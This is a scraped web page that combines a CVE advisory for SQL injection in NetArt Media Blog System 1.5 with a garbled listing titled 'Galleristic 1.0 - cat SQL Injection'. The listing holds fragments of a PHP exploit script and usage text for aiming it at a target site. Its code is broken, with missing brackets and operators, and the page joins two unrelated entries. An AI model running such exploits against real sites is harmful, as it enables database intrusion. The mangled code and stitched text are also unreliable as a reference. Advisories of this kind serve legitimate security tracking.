CVE-2010-0458: Improper Neutralization of Special Elements used in an SQL Command

Multiple SQL injection vulnerabilities in NetArt Media Blog System 1.5 allow remote attackers to execute arbitrary SQL commands via the 1 cat parameter to index.php and the 2 note parameter to blog.php...

Galleristic 1.0 - cat SQL Injection

Galleristic 1.0 - cat SQL Injection /', $request$i, $response; if!empty$response1 return $response1 . ''; Usage : Run in a browser as : http://yourbox/exploit.php?target=http://targetbox/path/ ifempty$GET'target' die'No target site specified!'; else for$c = 1; $c milw0rm.com 2008-05-07...